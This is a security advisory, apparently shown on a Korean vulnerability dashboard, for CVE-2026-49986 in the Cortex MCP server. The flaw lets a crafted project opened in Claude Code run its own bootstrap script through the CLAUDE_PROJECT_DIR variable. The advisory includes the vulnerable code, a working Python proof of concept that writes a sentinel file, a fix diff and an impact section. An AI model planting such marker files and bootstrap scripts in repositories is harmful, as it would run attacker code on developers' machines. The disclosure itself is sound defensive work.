Kestrel
대시보드로 돌아가기
CVE-2026-49986HIGHGHSA대응게시일: 2026. 07. 01.수정일: 2026. 07. 01.

Cortex has Untrusted Project Bootstrap Code Execution via `CLAUDE_PROJECT_DIR`

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Untrusted Project Bootstrap Code Execution via CLAUDE_PROJECT_DIR

Summary

The Cortex MCP server (neuro-cortex-memory) treats the CLAUDE_PROJECT_DIR environment variable — automatically set by Claude Code to the currently open project directory — as a trusted Cortex developer checkout. When the open_visualization tool is invoked, _find_dev_source() resolves the user's active project directory as a candidate Cortex source root. The only validation performed by _is_cortex_root() is a check for the presence of an mcp_server/ subdirectory and a ui/unified-viz.html file. An attacker who places these two marker files in a malicious repository can cause Cortex to execute an arbitrary mcp_server/server/visualize_bootstrap.py from that directory via subprocess.run([sys.executable, ...]), achieving code execution with the privileges of the victim's local user process. CVSS v3.1 Base Score: 7.8 (High).

Details

The vulnerability originates in _find_dev_source() inside mcp_server/handlers/open_visualization.py. The function builds a list of candidate directories by iterating over the environment variables CORTEX_DEV_ROOT and CLAUDE_PROJECT_DIR:

bash
1# mcp_server/handlers/open_visualization.py:73-76
2for env in ("CORTEX_DEV_ROOT", "CLAUDE_PROJECT_DIR"):
3 v = os.environ.get(env)
4 if v:
5 candidates.append(Path(v))

CLAUDE_PROJECT_DIR is set automatically by the Claude Code IDE extension to whichever directory the user has currently open. This means any project the user opens is silently treated as a candidate Cortex source root.

Each candidate is then validated by _is_cortex_root() (lines 65–70), which only verifies that the directory contains an mcp_server/ subdirectory and a ui/unified-viz.html file — trivial markers that an attacker can replicate:

python
1# mcp_server/handlers/open_visualization.py:65-70
2def _is_cortex_root(path: Path) -> bool:
3 return (path / "mcp_server").is_dir() and \
4 (path / "ui" / "unified-viz.html").is_file()

There is no git remote identity check, no cryptographic signature verification, no release path allowlist, and no explicit developer opt-in requirement. Once a directory passes _is_cortex_root(), the handler constructs a bootstrap path and executes it unconditionally:

bash
1# mcp_server/handlers/open_visualization.py:179-185
2bootstrap_path = dev_src / "mcp_server" / "server" / "visualize_bootstrap.py"
3if bootstrap_path.is_file():
4 ...
5 proc = subprocess.run(
6 [sys.executable, str(bootstrap_path)],
7 )

A secondary code-execution path exists in mcp_server/server/http_launcher.py:80-83 and 273-275, where the same CLAUDE_PROJECT_DIR-derived dev source is used to rsync attacker-controlled files into the Cortex plugin cache directory before serving them.

Entry point: MCP tool open_visualization, registered at mcp_server/tool_registry_core.py:194-207 (no authentication required at tool layer). The tool is reachable through the standard stdio MCP transport started in mcp_server/__main__.py:66.

PoC

Prerequisites

  • Cortex (neuro-cortex-memory ≥ 3.17.0) installed and importable.
  • Victim opens an attacker-controlled project directory in Claude Code (sets CLAUDE_PROJECT_DIR automatically) or the attacker otherwise controls CLAUDE_PROJECT_DIR.
  • Victim invokes /cortex-visualize or triggers the open_visualization MCP tool (e.g., by selecting a visualization command in the Claude Code interface).

Inline PoC

python
1import asyncio, os, tempfile
2from pathlib import Path
3from mcp_server.handlers import open_visualization as ov
4
5base = Path(tempfile.mkdtemp(prefix="cortex-malicious-project-"))
6(base / "mcp_server" / "server").mkdir(parents=True)
7(base / "ui").mkdir()
8(base / "ui" / "unified-viz.html").write_text("<html>attacker</html>", encoding="utf-8")
9
10sentinel = Path("/tmp/cortex-open-visualization-poc-owned")
11if sentinel.exists():
12 sentinel.unlink()
13
14(base / "mcp_server" / "server" / "visualize_bootstrap.py").write_text(
15 "from pathlib import Path\n"
16 "Path('/tmp/cortex-open-visualization-poc-owned').write_text('executed', encoding='utf-8')\n"
17 "print('bootstrap-ran')\n",
18 encoding="utf-8",
19)
20
21os.environ["CLAUDE_PROJECT_DIR"] = str(base)
22ov.launch_server = lambda _typ: "http://127.0.0.1:3458"
23ov.open_in_browser = lambda _url: None
24
25result = asyncio.run(ov.handler({}))
26print(result.get("bootstrap"))
27print(sentinel.read_text())

Expected output:

text
1bootstrap-ran
2executed

Recommended Remediation

Remove CLAUDE_PROJECT_DIR from the dev-source candidate list. Gate executable dev-source resolution behind an explicit opt-in flag so that only a developer who deliberately sets both CORTEX_DEV_SOURCE_SYNC=1 and CORTEX_DEV_ROOT can trigger the bootstrap path:

text
1--- a/mcp_server/handlers/open_visualization.py
2+++ b/mcp_server/handlers/open_visualization.py
3- candidates: list[Path] = []
4- for env in ("CORTEX_DEV_ROOT", "CLAUDE_PROJECT_DIR"):
5- v = os.environ.get(env)
6- if v:
7- candidates.append(Path(v))
8+ candidates: list[Path] = []
9+ if os.environ.get("CORTEX_DEV_SOURCE_SYNC") == "1":
10+ v = os.environ.get("CORTEX_DEV_ROOT")
11+ if v:
12+ candidates.append(Path(v))
13 candidates.append(Path.home() / "Documents" / "Developments" / "Cortex")

Apply the same change to mcp_server/server/http_launcher.py:80-83 to eliminate the secondary rsync execution path.

Impact

This is a local arbitrary code execution vulnerability. Any user who has the Cortex MCP plugin installed and opens (or is social-engineered into opening) an attacker-crafted project directory in Claude Code is at risk. When the victim invokes the open_visualization tool (e.g., via the /cortex-visualize slash command), attacker-controlled Python code runs immediately with the full privileges of the victim's local user account — the same privileges used by Claude Code and the Cortex MCP server process.

Consequences include but are not limited to:

  • Confidentiality: exfiltration of files, secrets, environment variables, and SSH/GPG keys accessible to the local user.
  • Integrity: modification or deletion of local files, source code, credentials, and plugin caches.
  • Availability: termination of local processes or destruction of user data.

The secondary path through http_launcher.py additionally allows the attacker to overwrite files in the Cortex plugin cache directory, potentially establishing persistence that survives after the malicious project is closed.

The attack requires the victim to invoke the visualization tool (UI:R), which is reflected in the CVSS score. No elevated privileges or prior authentication to any network service are required.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.